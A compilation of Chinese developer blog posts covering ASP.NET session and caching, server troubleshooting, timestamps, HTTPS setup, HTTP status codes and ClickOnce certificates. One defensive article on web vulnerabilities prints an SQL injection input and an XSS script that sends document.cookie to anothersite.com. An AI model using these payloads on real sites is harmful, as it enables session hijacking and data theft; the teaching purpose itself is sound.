在 NuGet 中安装
Microsoft.AspNetCore.Session和Newtonsoft.Json打开 Startup.cs,在 ConfigureServices 方法中加入(视情况配置相关属性)
services.AddSession(options => { // 设置了一个较短的时间,方便测试 options.IdleTimeout = TimeSpan.FromSeconds(10); options.CookieHttpOnly = true; });在 Configure 方法中加入
app.UseSession();添加 Extensions 文件夹并添加类 SessionExtensions.cs
using Microsoft.AspNetCore.Http; using Newtonsoft.Json; public static class SessionExtensions { public static void Set<T>(this ISession session, string key, T value) { session.SetString(key, JsonConvert.SerializeObject(value)); } public static T Get<T>(this ISession session, string key) { var value = session.GetString(key); return value == null ? default(T) : JsonConvert.DeserializeObject<T>(value); } }使用方法
HttpContext.Session.Set("abc", 123); var v1 = HttpContext.Session.Get<int>("abc"); HttpContext.Session.Remove("abc"); var v2 = HttpContext.Session.Get<int>("abc"); // v1 = 123, v2 = 0
经测试,.NET Framework 4.8 的 Cache.Insert() 已恢复正常。
安装 .NET Framework 4.7 后,不管项目有没有升级到 .NET Framework 4.7,使用 Cache.Insert() 添加的自动过期的缓存都不会过期了,可以使用 Cache.Add() 来解决!
使用 Cache.Insert() 例:
HttpRuntime.Cache.Insert(key, value, null, DateTime.Now.AddSeconds(5), Cache.NoSlidingExpiration);改为使用 Cache.Add():
HttpRuntime.Cache.Add(key, value, null, DateTime.Now.AddSeconds(5), Cache.NoSlidingExpiration, CacheItemPriority.Default, null);如果 Cache 中已保存了具有相同 key 的项,则调用 Add 方法将不作任何更改。(Insert 方法则会覆盖该值)
完整测试代码:
public static DateTime DateTimeNow
{
get
{
if (HttpRuntime.Cache["DateTimeNow"] == null)
{
HttpRuntime.Cache.Add("DateTimeNow", DateTime.Now,
null, DateTime.Now.AddSeconds(5), Cache.NoSlidingExpiration,
CacheItemPriority.Default, null);
}
return Convert.ToDateTime(HttpRuntime.Cache["DateTimeNow"]);
}
}在部分项目中(如 .NET Framework 4 项目中)发现上述改动仍不起作用,不会自动过期,那么可以采用以下方法:
方法一、可以记录将数据添加到 Cache 的时间,获取数据时判断该时间,超时则清除该 Cache 并重新赋值;
方法二、放弃缓存依赖,用定时器清除 Cache 数据。
如果我们直接更改模型的属性名,在迁移的时候会报错:
Data\DbInitializer.cs(,): error CS0117: '表' does not contain a definition for '新列名'
原因是它无法判断是把什么列名更改为什么列名(比如一次改多列呢),那么我们需要用 [Column("列名")] 来映射
方法一:
先加上 [Column("新列名")] ,执行迁移
再修改模型的属性名并删除 [Column("新列名")],执行迁移
方法二:
先加上 [Column("原列名")] ,同时修改模型的属性名,执行迁移,
再删除 [Column("原列名")],执行迁移
本文不定时更新!
A: MySQL 执行 SHOW FULL PROCESSLIST
Q: 查看连接数和慢查询,适用于 MySQL 数据库无法连接 1040
A: iftop -i eth0
Q: 查看占用带宽的IP(命令:iftop -i eth0 -F ip/24),添加到安全组、防火墙、宝塔的黑名单中。
命令 grep -l "x.x.x.x" /www/wwwlogs/*.log 可以在 wwwlogs 目录下的所有 .log 文件中查找指定的恶意 IP。
A: goaccess -f xxx.log
Q: 实时分析网站日志,查看请求最多的IP
A: net.xoyozo.weblog 日志分析工具
Q: 自制的 Web 日志分析工具,可按多种方式排序,纠出可疑访问
A: 重启 web 服务器
Q: 有时候能解决 CPU 和内存消耗的问题,如果一会儿又升高,则需要找另外的原因
Q: 500 服务器内部错误
502 Bad Gateway
504 Gateway Time-out
A: 查看 php 日志,可能的路径:
/usr/local/php/var/log/php-fpm.log
/www/server/php/[版本]/var/log/php-fpm.log
Q: RDS MySQL IOPS 使用率高的原因和处理
A: 根据时间点查看慢查询
Q: Discuz! 论坛界面错乱、表情不显示、模块缺失、登录失败、发帖失败等等
A: 进入管理中心 - 工具 - 更新缓存,能解决大部分问题
Q: Discuz! 浏览帖子提示“没有找到帖子”
A: 进入数据库,修复表 pre_forum_post 或分表
Q: CPU 100% 或内存 100%,负载100+
A: 原因有很多,以下是一些建议:
Windows 在任务管理器中查看进程
当前是否有正常的大流量访问(譬如民生类论坛的某个帖子突然火了)特别是重启无效的情况
对比网站日志大小可大致确定哪个网站被大量恶意请求。
观察:命令 top
排查:通过关闭网站来确定是某网站的问题,通过关闭功能确定是某功能的问题,如果 nginx 崩溃请参下条
案例:通过修改 mobcent 文件夹名确定是安米的文件被疯狂请求导致的,更新插件和 mobcent 包解决问题。
如果都是正常访问,top 看到很多 php-fpm,而且个个占用 CPU 还不小,那么根据服务器硬件配置来修改 php 的并发量,如宝塔面板在 php 设置 - 性能调整 页,300 并发方案的推荐配置是:
max_children:300
start_servers:30
min_spare_servers:30
max_spare_servers:180另外,memcached 或 redis 的配置也可以进行相应的修改。
另一个案例是 kswapd0 进程占满 CPU,原因是内存不足导致 swap 分区与内存频繁交换数据。同样调整 php 的设置即可。
也可以通过 iftop 来查询占用带宽较多的 IP 并封禁(出方向),如果 CPU 能降下来,那这个 IP 就是罪魁祸首。
* 使用 WAF 的审计 WAF 日志,未使用 WAF 的审计 Web 日志。
Q: 阿里云 ECS 的 CPU 突然达到 100%,并持续到次日 0:00 左右
A: 可能 ECS 是 t5 规格,受 CPU 积分制度限制,积分耗尽时 CPU 不工作。解决方法是更换其它规格产品或升配。
Q: ASP.NET 所在服务器 CPU 突然达到 50% 或 100%,并持续
A: 首先确定哪个网站,再依次排查网站各功能。可能是 HttpWebRequest 请求远程数据时长时间未返回结果导致的程序阻塞。
Q: nginx 服务停止
A: 查看 nginx 日志
WDCP 路径:/www/wdlinux/nginx-1.0.15/logs/error.log
Q: 公网出带宽 100%,其它指标正常
A: Windows 在任务管理器-性能-资源监视器-网络 查看占用带宽的进程PID,然后在任务管理器-详细信息中的找到对应的用户(如果为每个网站分别创建了用户,就能知道是哪个网站占用了带宽);如果是被 PID 为 4 的 System 占用大部分带宽,也可以尝试重启 IIS 来解决。
CentOS 使用 nethogs 查看占用带宽的进程PID和USER,如果为每个网站分别创建了用户,就能知道是哪个网站占用了带宽,否则只能一个个关闭网站来判断,不知道大家有没有好的方法?当然还可以直接用 iftop 命令查看占用带宽的 IP。另外,查看每个网站在那个时间段的日志文件的大小也能大概看出是哪个网站被采集了。
A: Linux 显示每个用户会话的登入和登出信息
utmpdump /var/log/wtmp
参考:http://www.tulaoshi.com/n/20160331/2050641.html
Q: RDS 的 CPU 100%
A: 如果是突然持续占满(同时伴随 ECS 资源使用率下降,页面出现 502),很大可能是受攻击(或社交网站推送突发事件等),查看“慢查询”,添加相关索引;如果是 Discuz! 论坛,可尝试修复优化表 pre_common_session。
如果是数日缓步上升,或新项目上线,考虑 SQL 慢查询,思路:MySQL / SQL Server。
MySQL:SHOW FULL PROCESSLIST
SQL Server:sp_who
Q: php 网站的服务器,内存在数天内缓慢上升
A: 大概是 php-fpm 占用过多,或进程数太多
更改 php 的配置(如 max_spare_servers),执行:service php-fpm reload
Q: 进程 cloudfs 占用内存过多
A: 参:https://xoyozo.net/Blog/Details/cloudfs-cache
Q: RDS 磁盘占用过大
A: 参:https://xoyozo.net/Blog/Details/how-to-use-rds
Q: ECS 受到 DDoS 攻击怎么办?
A: 参:https://xoyozo.net/Blog/Details/aliyun-ddos-without-bgp
Q: 如果 ECS 和 RDS 各项指标都没有异常,但网页打开慢或打不开502,TTFB 时间很长,是什么原因?(ECS 的 CPU 100%,RDS 的连接数上升,也可参考此条)
A: 数据库有坏表,尝试优化/修复表(慢 SQL 日志中锁等待时间较长的表?),或主备切换。show full processlist 时看到许多
DELETE FROM pre_common_session WHERE sid='******' OR lastactivity<****** OR (uid='0' AND ip1='*' AND ip2='*' AND ip3='*' AND ip4='*' AND lastactivity>******)
Q: Discuz! 创始人(站长)密码被改
A: 数据库找到 pre_ucenter_members 表,复制其它的已知登录密码的账号,复制其 password 和 salt 两个字段的值到创始人账号中,创始人账号即可用该密码登录了。
Q: 通过 iftop 观察到,Discuz! 网站从 RDS 数据库到 ECS 网站服务器私网流量非常大,远大于公网流量
A: 可能是缓存出问题了,尝试卸载重装 Redis 来解决。
Q: 宝塔面板中安装的 Redis 经常自动停止
A: 尝试卸载重装 Redis 来解决。
Q: 马甲客户端出现“您的网络有些问题”
A: 原因有许多,其中一个就是新建了一个数据表,然后 /source/class/table/ 下面丢失了对应的文件,具体可以找官方排查原因。
Q: 排查服务器安全需要检查哪些日志?
A: Web日志、登录日志(/var/log/secure)等。
Q: 带宽波形以几分钟为周期呈锯齿状波动是什么原因?
A: 该现象主要由防火墙流量管控机制与检测周期设置共同作用所致。防火墙基于预设的带宽阈值执行安全防护策略,当检测到流量峰值超过设定阈值时,将自动触发限流策略拒绝后续请求。待流量回落至安全阈值后,系统自动恢复服务访问权限。若防火墙的带宽采样检测周期设置过长(如以分钟为单位的检测间隔),将导致系统对实时流量变化的响应出现迟滞。这种周期性的检测机制会使带宽监控数据在阈值临界点附近呈现规律性的锯齿状波动特征。
优化建议:可通过调整防火墙的流量检测周期至更小时间粒度(如10-15秒),或采用动态流量整形策略,以实现更平滑的带宽控制效果。
补充说明:对于阿里云监控数据的调用,建议注意接口调用频率管控。高频调用云监控API接口将触发阿里云的API计费策略,可能产生额外的资源消耗成本。
其它案例
某台 ECS 上的多个网站出现 502,查询到 CPU / 内存 / 带宽 都比平时高,但都未满。用 iftop 看到连接的一个远程 Redis 占用内网带宽非常高。尝试重启远程 Redis 未果。尝试重启 ECS 上的 nginx 未果。尝试重启 ECS 未果。进入 ECS 的宝塔面板,重启 PHP 有效。
示例:
<form action="javascript:fn_submit()">
<div>
手机号码:
<input type="tel" required="required" pattern="1\d{10}" title="手机号码由以1开头的11位数字组成" />
</div>
<div>
身份证号码:
<input type="text" required="required" pattern="\d{17}[\dX]" title="身份证号码由18位数字或17位数字加字母X组成" />
</div>
<div>
<input type="submit" value="提交" />
</div>
</form>
<script>
function fn_submit() {
alert('执行了方法“fn_submit()”,可以使用 ajax 提交数据');
}
</script>form 的 action 使用 javascript 调用 fn_submit 方法,在这个方法内可以使用 jQuery 的 ajax 来 POST 数据,当然还可以搭配使用 HTML5 的 FormData。这样相比于直接在 submit 按钮上写事件的好处是可以用到 HTML5 的表单验证功能,并且不会重载页面。
Vue 版本:
<form v-on:submit="fn_submit" method="dialog">
</form>var app = new Vue({
el: '#app',
methods: {
fn_submit: function () {
alert('执行了方法“fn_submit()”,可以使用 ajax 提交数据');
}
}
});互联网项目里边,SQL 注入漏洞、XSS 漏洞和猜测 URL 攻击这三个漏洞可谓历史悠久,然而直到今天还有人不断中枪,也真是微醺。
这几个漏洞说大也大,说小也小。说大是说这些漏洞危害大,会导致数据层面的安全问题;说小是从技术层面上讲都是未对外部输入做处理导致的,想要做针对性地防范很简单。下面简单看看这些漏洞的原因及防范方法。
SQL 注入
SQL 注入之所以存在,主要是因为工程师将外部的输入直接嵌入到将要执行的 SQL 语句中了。黑客可以利用这一点执行 SQL 指令来达到自己目的。举例来说,有一个接受参数为 id 的页面,在接收到id后从数据库中查询相应的数据, 其代码大致如下:
string SQL = "SELECT * FROM [User] WHERE ID=" + Request["ID"];
正常情况下,Request["ID"] 为数字,这条 SQL 能很好地工作。如果我们认为修改 Request["ID"],将其内容修改为 ID=1 OR 1=1 我们将得到这样一条 SQL:
SELECT * FROM [User] WHERE ID=1 OR 1=1
因为有 OR 的出现这条 SQL 语句已经可以获取 User 表中的任意信息。利用 SQL 注入漏洞,我们能够获取想要的信息,同时可以通过猜测-报错获取到数据库其它表的结构和信息,如果数据库、服务器权限设置不当,甚至有可能能获取到整个服务器的控制权限。
规避这种漏洞有很多种办法,以现代的编程语言来说,选择一个合适的 ORM 框架可以减少不少问题而且能大大提高开发效率。
如果因为某些原因需要继续写 SQL 语句,参数化查询也能解决这一问题。
对于需要拼接 SQL 语句的程序来说,注意两点也可以避免此问题。第一点是如果查询的字段类型是数字等类型,在拼接 SQL 前先判断输入是不是一个合法的数字,不合法则终止程序即可。第二点是如果字段类型是字符串,则记得将输入里的单引号进行转义。
XSS 攻击
如果说 SQL 注入是直接在 SQL 里执行了用户输入,那 XSS 攻击是在 HTML 里代码执行了用户输入。相对 SQL 注入,XSS 似乎更能引起人关注。几年前新浪微博被人利用 XSS 获取大量粉丝;3DM 也曾经被植入 script 代码对另一个游戏网站进行了惨无人道的 DDOS 攻击。
这里还是用 SQL 注入中的例子来说,假设页面输出为:
<div><%= Request["ID"] %></div>
这里我们可以在 Request["ID"] 里传入一段编码后的脚本,在最终输出的时候,就变成了一段可执行的 javascript 代码。
<script>window.location.href='anothersite.com?cookie=' + document.cookie;</script>
这段代码获取到当前页面的 cookie 值,并将 cookie 值传递到另一个名为 anothersite.com 的网站。利用这种模式,黑客可以获取到用户的登录信息或者将用户跳转到钓鱼网站来达成自己的目的。
XSS 攻击也可以简单分为两种,一种是上述例子中利用 url 引诱客户点击来实现;另一种是通过存储到数据库,在其它用户获取相关信息时来执行脚本。
防范 XSS 攻击需要在所有的字段都对输入的字符串进行 html encode(或者在输出时进行 encode)。如果需要使用富文本编辑的,可以考虑使用 UBB。
猜测 URL 攻击
猜测 URL 攻击是通过已知的 GET、POST 参数来猜测未公开的参数并尝试进行攻击。
以 Request["ID"] 为例,如果 ID 为 1 是合法的可访问的数据,可以通过尝试 ID=2,ID=3 等一系列来尝试是否对其它资源有访问、修改权限。如果控制不当,则可以轻松获得并修改数据。
要避免这种问题,方案一是使用较长的无规律的数字、字符来做为 ID,增大猜测难度;对于需要登录的程序,可以判断用户身份是否有对应 ID 数据的访问、修改权限;如果 ID 已经是自增类型且不需要登录,可以用过在 URL 里增加无规律的校验字段来避免。
其它需要注意的地方
安全是一个系统工程。
要提高系统安全性,最首要的一点是不要相信任何输入!不要相信任何输入!不要相信任何输入!重要的事情说三遍。这里的输入除了 URL 里的 GET 参数、POST 参数,还包括 COOKIE、Header 等可以进行修改的各类信息。
在程序设置方面,不输出客户不需要知道的各类信息,如原始的异常信息、异常附近的代码段等等,这样也能增加不少安全性。
最后,在测试或系统运行的过程中,可以使用类似 appscan 这样的安全检测工具来检查程序是否有漏洞。
UTC(世界协调时间)和 GMT(格林尼治标准时间)都与英国伦敦的本地时间相同。北京是东八区,即 UTC+8 或 GMT+0800
时间戳是指格林威治时间1970年01月01日00时00分00秒(北京时间1970年01月01日08时00分00秒)起至现在的总秒数。
翻译成程序员语言就是指当前的本地时间与 1970-1-1 0:00:00 UTC 时间换算的本地时间相差的秒数
或者当前的 UTC 时间与 1970-1-1 0:00:00 UTC 时间相差的秒数
以我在北京时间 2000/1/1 8:00:00 站在东八区为例:
在 JS 中:
// 获取当前本地时间: new Date() // 返回:Jan 1 2000 8:00:00 GMT+0800(中国标准时间) // 获取当前 UTC 时间字符串: (Local Time).toUTCString() // 返回:Jan 1 2000 0:00:00 GMT // 初始化一个 UTC 时间 2000-1-1 0:00:00 new Date(Date.UTC(2000, 1 - 1, 1, 0, 0, 0)) // 获取 UTC 时间的本地时间字符串: (UTC Time).toLocaleString() // 本地时间 1970/1/1 8:00:00 的时间戳 new Date(1970, 1 - 1, 1, 8, 0, 0).getTime() / 1000 // 返回:0 // 本地时间 2000/1/1 8:00:00 的时间戳 new Date(2000, 1 - 1, 1, 8, 0, 0).getTime() / 1000 // 返回:946684800 // 本地时间 当前 的时间戳 new Date().getTime() / 1000 // UTC 时间 2000/1/1 0:00:00 的时间戳 new Date(Date.UTC(2000, 1 - 1, 1, 0, 0, 0)).getTime() / 1000 // 或 Date.UTC(2000, 1 - 1, 1, 0, 0, 0) / 1000 // 返回:946684800
在 C# 中:
DateTime 默认的 Kind 是 Local,使用 DateTime.SpecifyKind() 方法可以定义一个 UTC 时间
DateTime.Now 返回当前本地时间
DateTime.UtcNow 返回当前 UTC 时间
// 定义一个本地时间 2000/1/1 8:00:00 new DateTime(2000, 1, 1, 8, 0, 0) // 定义一个 UTC 时间 2000/1/1 0:00:00 DateTime.SpecifyKind(new DateTime(2000, 1, 1), DateTimeKind.Utc) // 将 UTC 时间转化为本地时间 (UTC Time).ToLocalTime() // 将本地时间转化为 UTC 时间 (Local Time).ToUniversalTime()
再次说明,本地时间和 UTC 时间都是 DateTime 对象,关键看定义的时候是 Local 还是 Utc
// 本地时间 1970/1/1 8:00:00 的时间戳 (new DateTime(1970, 1, 1, 8, 0, 0) - DateTime.SpecifyKind(new DateTime(1970, 1, 1), DateTimeKind.Utc).ToLocalTime()).TotalSeconds // 返回:0 // 本地时间 2000/1/1 8:00:00 的时间戳 (new DateTime(2000, 1, 1, 8, 0, 0) - DateTime.SpecifyKind(new DateTime(1970, 1, 1), DateTimeKind.Utc).ToLocalTime()).TotalSeconds // 返回:946684800 // 本地时间 当前 的时间戳 (DateTime.Now - DateTime.SpecifyKind(new DateTime(1970, 1, 1), DateTimeKind.Utc).ToLocalTime()).TotalSeconds // 将时间戳 946684800 转换为本地时间 DateTime.SpecifyKind(new DateTime(1970, 1, 1), DateTimeKind.Utc).ToLocalTime().AddSeconds(946684800)
实战:
如果我们要将时间戳精确到毫秒,那么 JS 直接 .getTime() 即可,不需要 / 1000,C# 将它转换为本地时间时用 AddMilliseconds 代替 AddSeconds。
中国跨越了多个时区却统一使用北京时间,所以国内网站只要记录本地时间即可;如果做国际站或者有不同国家的访客,除非全部由服务器端获取时间,否则客户端 JS 的本地时间(非时间戳)都需要转换成 UTC 时间来跟服务端的时间进行运算和保存,推荐使用时间戳在客户端和服务端之间传递,因为时间戳与时区无关,它是两个相同性质的时间(同为本地时间或同为 UTC 时间)的差值。
各位站长好:
根据苹果相关通知,从2017年1月1日起,所有上架AppStore的应用必须支持https协议。
仍然采用HTTP传输的站点APP,将无法在AppStore被用户下载使用,也无法进行升级更新等工作。
官方视频
https://developer.apple.com/videos/play/wwdc2016/706/
相关新闻
http://www.chinaz.com/news/2016/1028/602635.shtml
根据AppStore审核要求,站长需要在2017年1月1日之前,在APP服务器全面部署https。
尽管不升级支持https后果严重,但诸位也不必太过担心,马甲根据要求为各位提供一份服务器升级https的技术文档,供您参考。
https的优点:
1. 相对于http,https可以确保数据在网络传输过程中不被篡改(如禁止运营商插入广告),同时可以提升网站的安全性。
2. iOS可以实现微信内部浏览器直接启动并打开App对应页面。
APP网站升级https步骤:
1. 为APP域名申请购买SSL证书(可选免费型);
2. 将SSL证书部署到APP站点。
https证书申请方法:
1. 进入阿里云(独立服务器客户可注册一个阿里云账号,无须购买阿里云主机)https证书申请页面 https://www.aliyun.com/product/security/markets/aliyun/product/cas

2. 购买https证书,选择免费类型,点击购买(无需实际付款)

3. 购买完成后,进入控制台-CA证书服务页面,找到证书订单,点击“补全”

4. 填写证书对应的域名信息,免费证书只能用于一个域名(请填写完整域名例如:test.magapp.cc 而不是 magapp.cc)

5. 继续补全证书信息,注意域名验证类型选择DNS,邮箱填写自己常用邮箱即可,稍后系统会往邮箱发送域名解析信息。

6. 下一步生成证书请求文件(CSR),这里建议选择“系统生成CSR”,点击右侧创建,创建完成后,点击提交审核,开始申请https证书。

7. 稍后系统会向邮箱发送一份该邮件,邮件包含需要在域名管理后台解析的信息。

8. 到域名管理后台添加新的域名解析,注意解析类型为CNAME

9. 添加新域名解析完成后,系统会对您的申请进行审核(审核时间在几分钟到几个小时不确定),如果审核成功系统会为你签发https证书,失败也会有相关原因说明,如果失败可根据提示重新申请。

10. https证书申请成功后,下一步就可以下载并部署到APP服务器。

11. 点击下载后,可以根据阿里云提供的部署文档,进行相关的服务器部署工作。

12. 部署完成后,验证是否部署成功
第一步:使用https协议访问域名是否能正常访问,例如 https://test.magapp.cc
第二步:在线检测域名是否满足苹果审核要求,网址为:https://www.qcloud.com/product/ssl.html#userDefined10
填写自己申请https的域名

如果域名检测各项满足会显示如下图所示

部署注意事项:
1. https使用的是443端口而不是默认的80端口,需要在wdcp安全管理-iptables开启443端口。
2. https免费证书有效期为一年,请各位站长作好记录,提前重新申请。
3. 站点从http转到https完全过渡需要一段时间,建议在部署时站点同时支持http和https。
4. 部署过程遇到任何问题,可联系您的专属运维人员。
MAGAPP技术部
| 成员名称 | 说明 |
|---|---|
| Accepted |
等效于 HTTP 状态 202。 Accepted 指示请求已被接受做进一步处理。 |
| Ambiguous |
等效于 HTTP 状态 300。 Ambiguous 指示请求的信息有多种表示形式。默认操作是将此状态视为重定向,并遵循与此响应关联的 Location 标头的内容。 |
| BadGateway |
等效于 HTTP 状态 502。 BadGateway 指示中间代理服务器从另一代理或原始服务器接收到错误响应。 |
| BadRequest |
等效于 HTTP 状态 400。 BadRequest 指示服务器未能识别请求。如果没有其他适用的错误,或者不知道准确的错误或错误没有自己的错误代码,则发送 BadRequest。 |
| Conflict |
等效于 HTTP 状态 409。 Conflict 指示由于服务器上的冲突而未能执行请求。 |
| Continue |
等效于 HTTP 状态 100。 Continue 指示客户端可能继续其请求。 |
| Created |
等效于 HTTP 状态 201。 Created 指示请求导致在响应被发送前创建新资源。 |
| ExpectationFailed |
等效于 HTTP 状态 417。 ExpectationFailed 指示服务器未能符合 Expect 头中给定的预期值。 |
| Forbidden |
等效于 HTTP 状态 403。 Forbidden 指示服务器拒绝满足请求。 |
| Found |
等效于 HTTP 状态 302。 Found 指示请求的信息位于 Location 头中指定的 URI 处。接收到此状态时的默认操作为遵循与响应关联的 Location 头。原始请求方法为 POST 时,重定向的请求将使用 GET 方法。 |
| GatewayTimeout |
等效于 HTTP 状态 504。 GatewayTimeout 指示中间代理服务器在等待来自另一个代理或原始服务器的响应时已超时。 |
| Gone |
等效于 HTTP 状态 410。 Gone 指示请求的资源不再可用。 |
| HttpVersionNotSupported |
等效于 HTTP 状态 505。 HttpVersionNotSupported 指示服务器不支持请求的 HTTP 版本。 |
| InternalServerError |
等效于 HTTP 状态 500。 InternalServerError 指示服务器上发生了一般错误。 |
| LengthRequired |
等效于 HTTP 状态 411。 LengthRequired 指示缺少必需的 Content-length 头。 |
| MethodNotAllowed |
等效于 HTTP 状态 405。 MethodNotAllowed 指示请求的资源上不允许请求方法(POST 或 GET)。 |
| Moved |
等效于 HTTP 状态 301。 Moved 指示请求的信息已移到 Location 头中指定的 URI 处。接收到此状态时的默认操作为遵循与响应关联的 Location 头。原始请求方法为 POST 时,重定向的请求将使用 GET 方法。 |
| MovedPermanently |
等效于 HTTP 状态 301。 MovedPermanently 指示请求的信息已移到 Location 头中指定的 URI 处。接收到此状态时的默认操作为遵循与响应关联的 Location 头。 |
| MultipleChoices |
等效于 HTTP 状态 300。 MultipleChoices 指示请求的信息有多种表示形式。默认操作是将此状态视为重定向,并遵循与此响应关联的 Location 标头的内容。 |
| NoContent |
等效于 HTTP 状态 204。 NoContent 指示已成功处理请求并且响应已被设定为无内容。 |
| NonAuthoritativeInformation |
等效于 HTTP 状态 203。 NonAuthoritativeInformation 指示返回的元信息来自缓存副本而不是原始服务器,因此可能不正确。 |
| NotAcceptable |
等效于 HTTP 状态 406。 NotAcceptable 指示客户端已用 Accept 头指示将不接受资源的任何可用表示形式。 |
| NotFound |
等效于 HTTP 状态 404。 NotFound 指示请求的资源不在服务器上。 |
| NotImplemented |
等效于 HTTP 状态 501。 NotImplemented 指示服务器不支持请求的函数。 |
| NotModified |
等效于 HTTP 状态 304。 NotModified 指示客户端的缓存副本是最新的。未传输此资源的内容。 |
| OK |
等效于 HTTP 状态 200。 OK 指示请求成功,且请求的信息包含在响应中。这是最常接收的状态代码。 |
| PartialContent |
等效于 HTTP 状态 206。 PartialContent 指示响应是包括字节范围的 GET 请求所请求的部分响应。 |
| PaymentRequired |
等效于 HTTP 状态 402。保留 PaymentRequired 以供将来使用。 |
| PreconditionFailed |
等效于 HTTP 状态 412。 PreconditionFailed 指示为此请求设置的条件失败,且无法执行此请求。条件是用条件请求标头(如 If-Match、If-None-Match 或 If-Unmodified-Since)设置的。 |
| ProxyAuthenticationRequired |
等效于 HTTP 状态 407。 ProxyAuthenticationRequired 指示请求的代理要求身份验证。Proxy-authenticate 头包含如何执行身份验证的详细信息。 |
| Redirect |
等效于 HTTP 状态 302。 Redirect 指示请求的信息位于 Location 头中指定的 URI 处。接收到此状态时的默认操作为遵循与响应关联的 Location 头。原始请求方法为 POST 时,重定向的请求将使用 GET 方法。 |
| RedirectKeepVerb |
等效于 HTTP 状态 307。 RedirectKeepVerb 指示请求信息位于 Location 头中指定的 URI 处。接收到此状态时的默认操作为遵循与响应关联的 Location 头。原始请求方法为 POST 时,重定向的请求还将使用 POST 方法。 |
| RedirectMethod |
等效于 HTTP 状态 303。作为 POST 的结果,RedirectMethod 将客户端自动重定向到 Location 头中指定的 URI。用 GET 生成对 Location 标头所指定的资源的请求。 |
| RequestedRangeNotSatisfiable |
等效于 HTTP 状态 416。 RequestedRangeNotSatisfiable 指示无法返回从资源请求的数据范围,因为范围的开头在资源的开头之前,或因为范围的结尾在资源的结尾之后。 |
| RequestEntityTooLarge |
等效于 HTTP 状态 413。 RequestEntityTooLarge 指示请求太大,服务器无法处理。 |
| RequestTimeout |
等效于 HTTP 状态 408。 RequestTimeout 指示客户端没有在服务器期望请求的时间内发送请求。 |
| RequestUriTooLong |
等效于 HTTP 状态 414。 RequestUriTooLong 指示 URI 太长。 |
| ResetContent |
等效于 HTTP 状态 205。 ResetContent 指示客户端应重置(或重新加载)当前资源。 |
| SeeOther |
等效于 HTTP 状态 303。作为 POST 的结果,SeeOther 将客户端自动重定向到 Location 头中指定的 URI。用 GET 生成对 Location 标头所指定的资源的请求。 |
| ServiceUnavailable |
等效于 HTTP 状态 503。 ServiceUnavailable 指示服务器暂时不可用,通常是由于过多加载或维护。 |
| SwitchingProtocols |
等效于 HTTP 状态 101。 SwitchingProtocols 指示正在更改协议版本或协议。 |
| TemporaryRedirect |
等效于 HTTP 状态 307。 TemporaryRedirect 指示请求信息位于 Location 头中指定的 URI 处。接收到此状态时的默认操作为遵循与响应关联的 Location 头。原始请求方法为 POST 时,重定向的请求还将使用 POST 方法。 |
| Unauthorized |
等效于 HTTP 状态 401。 Unauthorized 指示请求的资源要求身份验证。WWW-Authenticate 头包含如何执行身份验证的详细信息。 |
| UnsupportedMediaType |
等效于 HTTP 状态 415。 UnsupportedMediaType 指示请求是不支持的类型。 |
| Unused |
等效于 HTTP 状态 306。 Unused 是未完全指定的 HTTP/1.1 规范的建议扩展。 |
| UpgradeRequired |
等效于 HTTP 状态 426。 UpgradeRequired 指示客户端应切换为诸如 TLS/1.0 之类的其他协议。 |
| UseProxy |
等效于 HTTP 状态 305。 UseProxy 指示请求应使用位于 Location 头中指定的 URI 的代理服务器。 |
最理想的部署方式是 ClickOnce,但是证书问题会导致安装时提示:
Windows 已保护你的电脑
Windows SmartScreen 筛选器已阻止启动一个未识别的应用。运行此应用可能会导致你的电脑存在安全风险。
这需要一个从 CA 获取的数字证书(http://www.doc88.com/p-785388554071.html)
百科: http://baike.baidu.com/view/1390498.htm
ClickOnce 部署教程: http://www.cnblogs.com/weixing/p/3358740.html
Makecert.exe(证书创建工具): https://msdn.microsoft.com/zh-cn/library/bfsktky3.aspx
如何:为 ClickOnce 应用程序向客户端计算机添加一个受信任的发行者:https://msdn.microsoft.com/zh-cn/library/ms172241.aspx
执行命令:makecert -r -n "CN=嗨秒网" -sv himiao.pvk himiao.cer
Password: LRQelk0l****************FTtJvufI
-r 创建自我签名证书。
-n name 指定主题的证书名称。 此名称必须符合 X.500 标准。 最简单的方法是在双引号中指定此名称,并加上前缀 CN=;例如,-n "CN=myName"。
-sv pvkFile 指定主题的 .pvk 私钥文件。 如果该文件不存在,系统将创建一个。
执行命令:Cert2spc himiao.cer himiao.spc
执行命令:pvk2pfx -pvk himiao.pvk -spc himiao.spc -pfx himiao.pfx -pi LRQelk0l****************FTtJvufI –po LRQelk0l****************FTtJvufI –f